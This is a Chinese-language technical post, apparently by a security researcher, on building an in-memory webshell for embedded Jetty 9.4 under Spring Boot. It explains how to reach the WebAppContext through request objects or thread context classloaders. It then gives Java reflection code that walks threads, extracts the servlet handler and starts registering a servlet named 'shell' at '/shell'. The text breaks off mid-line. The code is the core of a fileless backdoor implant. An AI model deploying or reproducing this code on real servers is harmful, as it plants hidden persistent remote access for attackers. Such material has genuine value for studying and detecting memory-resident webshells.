测试环境为springboot + embeded jetty jetty-9.4.48.v20220622,jdk为13。
jetty内存马的研究类同于tomcat,获取webappcontext通常有两种方式:
一、通过request获取
传统方式是在有request对象时,通过它获取webappcontext对象
可以看到得到的对象为webappcontext类中嵌入类context(该类不能在系统初始化完成之后再添加listener、filter和servlet。
还有一种方法是通过Thread类获取thread对象,看能不能找到WebAppClassLoader,从而获取webappcontext对象。
classloader不为空的都是appclassloader,并没有webappclassloader。但是在非嵌入式jetty中确含有webappclassloaer(有兴趣的小伙伴可以分析一下具体原因)。
在获取了webappclassloader的基础上很容易就能够写出内存马。
String servletName = "shell";
String urlPattern = "/shell";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads) {
threadClassLoader = thread.getContextClassLoader();
if (threadClassLoader != null) {
if (threadClassLoader.toString().contains("WebAppClassLoader")) {
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
//check servlet if exist
Field fieldServlets = servletHandler.getClass().getDeclaredField(&#